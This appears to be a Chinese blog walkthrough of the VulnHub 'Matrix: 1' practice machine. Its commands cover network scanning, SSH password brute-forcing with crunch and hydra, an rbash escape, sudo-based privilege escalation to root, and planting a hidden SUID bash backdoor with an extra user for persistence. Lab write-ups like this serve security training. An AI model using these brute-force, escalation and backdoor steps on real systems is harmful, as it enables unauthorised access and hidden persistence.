靶机下载地址:https://www.vulnhub.com/entry/matrix-1,259/
教程链接地址:https://blog.csdn.net/weixin_43583637/article/details/102845860

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 MATRIX:桥接于 192.168.31.1 的网卡,ip 未知

  1. 通过 netdiscover 扫描当前网卡里边有哪些机器
    sudo netdiscover -i eth0 -r 192.168.31.0/24

  2. 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描

1
2
3
4
5
# shell
cat > myip.txt << EOF
192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33
192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44
EOF
  1. 去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP
    sudo nmap -PA 192.168.31.107 --excludefile myip.txt
Image

-> 目标机器的 ip 地址: 192.168.31.107

  1. 确认靶机 ip 开放的端口信息

sudo nmap -A -p- 192.168.31.107 -oN /tmp/matrix.txt

Image

-> 靶机开放端口 22, 80, 31337

# 80 网站信息收集

右键发现无法检查源代码,先扫一遍目录
dirsearch -u http://192.168.31.107/

Image

-> 敏感网址:http://192.168.31.107/assets
-> 找到敏感目录:http://192.168.31.107/assets/img/p0rt_31337.png

但是没有找到更多可以操作的,转到下个目标

# 31337 网站信息收集

这里有一个提示暗号的意思,右键检查源代码

发现一串 base64 加密的字符,通过终端解密此密文

1
echo "ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=" | base64 -d

-> 得到文件名为 Cypher.matrix 的提示文件

尝试访问 http://192.168.31.107:31337/Cypher.matrix

下载后得到一个文件

# Brainfuck 解密

这是一个 brainfuck 加密,直接在线解密
解密网址:https://ctf.bugku.com/tool/brainfuck

-> 用户名:guest 密码:k1ll0rXX
最后两位 XX 是未知的,需要进行爆破

# Crunch 生成字典

1
2
# 查看字典生成规则的lst文件
cat /usr/share/crunch/charset.lst | grep lalpha

1
2
3
4
crunch 8 8 -f /usr/share/crunch/charset.lst lalpha-numeric -t k1ll0r@@ > pass.dic

# Usage: crunch <min> <max> [options]. where min and max are numbers
# -f /path/to/charset.lst charset-name
Image

# Hydra 爆破 SSH

1
2
3
4
hydra -l guest -P pass.dic ssh://192.168.31.107 -f -t 4 -I -vV -o hydra.ssh

# -l 指定用户guest -P 指定字典 -f 爆破密码成功后停止
# -vV 显示详细过程 -o将爆破成功信息保存到文件中
Image

-> 用户名:guest 密码:k1ll0r7n

# Rbash 逃逸

1
2
# ssh登陆到此台服务器
ssh guest@192.168.31.107 k1ll0r7n
Image

发现此会话窗口是 rbash,即做了限制的 bash

1
2
3
# 查看当前环境变量
echo $PATH
echo /home/guest/prog/*
Image
1
2
# 发现当前只能使用vi,尝试使用vi逃逸rbash
vi test 然后ESC 接着:!/bin/bash
Image

rbash 成功升级为了 bash,但是很多命令还是没有

# sudo (cp) 提权

查看到正常机器上的 id 是在 /usr/bin 上,输入 /usr/bin/id 可以正常使用,而输入 id 无法正常访问,说明当前的会话窗口找不到 id 命令,要从环境变量中添加
export PATH=/usr/bin:$PATH

Image

sudo -l 查看相关的权限设置
发现 trinity 可以无密码使用 /bin/cp
cp 提权说明:https://gtfobins.github.io/gtfobins/cp/

1
2
3
cd /home/trinity/
sudo -u trinty /bin/cp /bin/sh evil
sudo -u trinty evil
Image

# root 权限问题提权

sudo -l 发现可以由 root 执行 /home/thrity/oracle
但是此文件在此目录中并不存在,复制出来 bash,并利用 root 执行此文件

1
2
cp /bin/bash /home/thrity/oracle
sudo /home/thrity/oracle

输入 id 之后,可见成功提权至 root

Image

# sudo su 提权

当拿到 root 权限之后,习惯性的翻阅 /etc/sudoers 文件,发现此文件中授予了 guest 用户执行 root 的所有权限,意味着 guest 用户可以 sudo su 并输入自己的密码切换到 root 账户

1
2
3
cat /etc/sudoers | grep "ALL=(ALL) ALL"
su guest
sudo su
Image

即意味着当得到 guest 用户 rbash 逃逸后,可以凭借 sudo su 直接提权为 root

# suid 权限维持

参考地址:http://www.mchz.com.cn/cn/service/safety-lab/info_26_itemid_4060.html

在正常的机器上找到 useradd 与 passwd 的位置,将其目录添加到靶机的 PATH 中,添加 kali 用户,并复制 bash,添加 s 权限,隐藏后门,方便提权

1
2
3
4
5
6
7
8
9
10
# 靶机
export PATH=/usr/sbin:$PATH
useradd kali && passwd kali
cp /bin/bash /var/.hack
chmod 4755 /var/.hack
ls -Alh /var/.hack

# 攻击机
ssh kali@192.168.31.107
/var/.hack -p & whoami
Image

-> 可以通过 kali 用户直接登陆此台服务器,并且利用我们遗留在服务器上具有 s 权限的后门文件进行升级 shell

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝